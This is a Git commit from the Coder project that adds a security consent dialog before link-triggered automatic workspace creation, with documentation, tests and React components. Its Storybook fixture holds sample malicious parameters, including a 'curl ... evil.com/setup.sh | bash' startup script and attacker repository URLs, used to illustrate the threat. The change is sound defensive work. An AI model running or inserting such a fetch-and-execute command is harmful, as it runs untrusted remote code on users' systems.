feat(site)!: add consent prompt for auto-creation with prefilled parameters (#22011)

### Summary

Workspace created via mode=auto links now require explicit user
confirmation before provisioning. A warning dialog shows all prefilled
param.* values from the URL and blocks creation until the user clicks
`Confirm and Create`. Clicking `Cancel` falls back to the standard form
view.

<img width="820" height="475" alt="auto-create-consent-dialog"
src="https://github.com/user-attachments/assets/8339e3bd-434f-4a04-9385-436bf95f49d7"
/>

### Breaking behavior change

Links using `mode=auto` (e.g., "Open in Coder" buttons) will no longer
silently create workspaces. Users will now see a consent dialog and must
explicitly confirm before the workspace is provisioned. Any existing
integrations or automation relying on `mode=auto` for seamless workspace
creation will now require manual user interaction.

---------

Co-authored-by: Jake Howell <jacob@coder.com>
This commit is contained in:
Kacper Sawicki
2026-02-12 15:39:02 +01:00
committed by GitHub
parent 35c7cda760
commit 60e3ab7632
7 changed files with 196 additions and 1 deletions
+19
View File
@@ -115,6 +115,25 @@ specified in your template in the `disable_params` search params list
[![Open in Coder](https://YOUR_ACCESS_URL/open-in-coder.svg)](https://YOUR_ACCESS_URL/templates/YOUR_TEMPLATE/workspace?disable_params=first_parameter,second_parameter)
```
### Security: consent dialog for automatic creation
When using `mode=auto` with prefilled `param.*` values, Coder displays a
security consent dialog before creating the workspace. This protects users
from malicious links that could provision workspaces with untrusted
configurations, such as dotfiles or startup scripts from unknown sources.
The dialog shows:
- A warning that a workspace is about to be created automatically from a link
- All prefilled `param.*` values from the URL
- **Confirm and Create** and **Cancel** buttons
The workspace is only created if the user explicitly clicks **Confirm and
Create**. Clicking **Cancel** falls back to the standard creation form where
all parameters can be reviewed manually.
![Consent dialog for automatic workspace creation](../../images/templates/auto-create-consent-dialog.png)
### Example: Kubernetes
For a full example of the Open in Coder flow in Kubernetes, check out
Binary file not shown.

After

Width:  |  Height:  |  Size: 52 KiB

@@ -40,6 +40,7 @@ test("create workspace in auto mode", async ({ page }) => {
waitUntil: "domcontentloaded",
},
);
await page.getByRole("button", { name: /confirm and create/i }).click();
await expect(page).toHaveTitle(`${users.member.username}/${name} - Coder`);
});
@@ -53,6 +54,7 @@ test("use an existing workspace that matches the `match` parameter instead of cr
waitUntil: "domcontentloaded",
},
);
await page.getByRole("button", { name: /confirm and create/i }).click();
await expect(page).toHaveTitle(
`${users.member.username}/${prevWorkspace} - Coder`,
);
@@ -66,5 +68,6 @@ test("show error if `match` parameter is invalid", async ({ page }) => {
waitUntil: "domcontentloaded",
},
);
await page.getByRole("button", { name: /confirm and create/i }).click();
await expect(page.getByText("Invalid match value")).toBeVisible();
});
@@ -0,0 +1,84 @@
import type { Meta, StoryObj } from "@storybook/react-vite";
import { fn } from "storybook/test";
import { AutoCreateConsentDialog } from "./AutoCreateConsentDialog";
const meta: Meta<typeof AutoCreateConsentDialog> = {
title: "pages/CreateWorkspacePage/AutoCreateConsentDialog",
component: AutoCreateConsentDialog,
args: {
open: true,
onConfirm: fn(),
onDeny: fn(),
},
};
export default meta;
type Story = StoryObj<typeof AutoCreateConsentDialog>;
export const Default: Story = {
args: {
autofillParameters: [
{
name: "dotfiles_uri",
value: "https://github.com/attacker/dots.git",
source: "url",
},
{
name: "git_repo",
value: "https://github.com/attacker/malware-repo.git",
source: "url",
},
],
},
};
export const WithManyParameters: Story = {
args: {
autofillParameters: [
{
name: "dotfiles_uri",
value: "https://github.com/attacker/dots.git",
source: "url",
},
{
name: "git_repo",
value: "https://github.com/attacker/malware-repo.git",
source: "url",
},
{ name: "region", value: "us-east-1", source: "url" },
{ name: "instance_type", value: "t3.2xlarge", source: "url" },
{ name: "docker_image", value: "ubuntu:24.04", source: "url" },
{
name: "startup_script",
value: "curl -sL https://evil.com/setup.sh | bash",
source: "url",
},
{ name: "env_vars", value: "SECRET=hunter2,TOKEN=abc123", source: "url" },
],
},
};
export const WithLongValues: Story = {
args: {
autofillParameters: [
{
name: "dotfiles_uri",
value:
"https://evil.com/doasdasdjkhdasjkhasdjkhasdjkhasdjkhasdjkhdashjkasdt",
source: "url",
},
{
name: "git_repo",
value:
"https://evil.com/repoasddsaczxjkasdjkalsdhjkasjhsadhjksdajhkdas",
source: "url",
},
],
},
};
export const NoParameters: Story = {
args: {
autofillParameters: [],
},
};
@@ -0,0 +1,70 @@
import { Button } from "components/Button/Button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
} from "components/Dialog/Dialog";
import { TriangleAlertIcon } from "lucide-react";
import type { FC } from "react";
import type { AutofillBuildParameter } from "utils/richParameters";
interface AutoCreateConsentDialogProps {
open: boolean;
autofillParameters: AutofillBuildParameter[];
onConfirm: () => void;
onDeny: () => void;
}
export const AutoCreateConsentDialog: FC<AutoCreateConsentDialogProps> = ({
open,
autofillParameters,
onConfirm,
onDeny,
}) => {
return (
<Dialog open={open}>
<DialogContent
onPointerDownOutside={(e) => e.preventDefault()}
onEscapeKeyDown={(e) => e.preventDefault()}
className="max-w-2xl overflow-hidden min-w-0"
>
<DialogHeader>
<DialogTitle>
<TriangleAlertIcon className="size-icon-lg text-content-warning inline-block align-text-bottom mr-2" />
Warning: Automatic Workspace Creation
</DialogTitle>
<DialogDescription>
A link is attempting to automatically create a workspace using the
following external configurations. Running scripts from untrusted
sources can be dangerous.
</DialogDescription>
</DialogHeader>
{autofillParameters.length > 0 && (
<div className="flex min-w-0 flex-col gap-2">
<span className="text-sm font-semibold text-content-primary">
Parameters:
</span>
<code className="block whitespace-pre overflow-x-auto">
{autofillParameters
.map((p) => `${p.name}: ${p.value}`)
.join("\n")}
</code>
</div>
)}
<DialogFooter>
<Button variant="outline" onClick={onDeny}>
Cancel
</Button>
<Button variant="default" onClick={onConfirm}>
Confirm and Create
</Button>
</DialogFooter>
</DialogContent>
</Dialog>
);
};
@@ -475,6 +475,12 @@ describe("CreateWorkspacePage", () => {
`/templates/${MockTemplate.name}/workspace?mode=auto`,
);
// Consent dialog appears for mode=auto — confirm to proceed.
const confirmButton = await screen.findByRole("button", {
name: /confirm and create/i,
});
await userEvent.click(confirmButton);
await waitForLoaderToBeRemoved();
expect(screen.getByText(/instance type/i)).toBeInTheDocument();
@@ -31,6 +31,7 @@ import { useMutation, useQuery, useQueryClient } from "react-query";
import { useNavigate, useParams, useSearchParams } from "react-router";
import { pageTitle } from "utils/page";
import type { AutofillBuildParameter } from "utils/richParameters";
import { AutoCreateConsentDialog } from "./AutoCreateConsentDialog";
import { CreateWorkspacePageView } from "./CreateWorkspacePageView";
import {
type CreateWorkspacePermissions,
@@ -59,6 +60,7 @@ const CreateWorkspacePage: FC = () => {
const defaultName = searchParams.get("name");
const disabledParams = searchParams.get("disable_params")?.split(",");
const [mode, setMode] = useState(() => getWorkspaceMode(searchParams));
const [autoCreateConsented, setAutoCreateConsented] = useState(false);
const [autoCreateError, setAutoCreateError] =
useState<ApiErrorResponse | null>(null);
const defaultOwner = me;
@@ -240,7 +242,11 @@ const CreateWorkspacePage: FC = () => {
externalAuth?.every((auth) => auth.optional || auth.authenticated),
);
let autoCreateReady = mode === "auto" && hasAllRequiredExternalAuth;
let autoCreateReady =
mode === "auto" && hasAllRequiredExternalAuth && autoCreateConsented;
const showAutoCreateConsent =
mode === "auto" && !autoCreateConsented && !autoCreateError;
// `mode=auto` was set, but a prerequisite has failed, and so auto-mode should be abandoned.
if (
@@ -291,6 +297,13 @@ const CreateWorkspacePage: FC = () => {
<>
<title>{pageTitle(title)}</title>
<AutoCreateConsentDialog
open={showAutoCreateConsent}
autofillParameters={autofillParameters}
onConfirm={() => setAutoCreateConsented(true)}
onDeny={() => setMode("form")}
/>
{shouldShowLoader ? (
<Loader />
) : (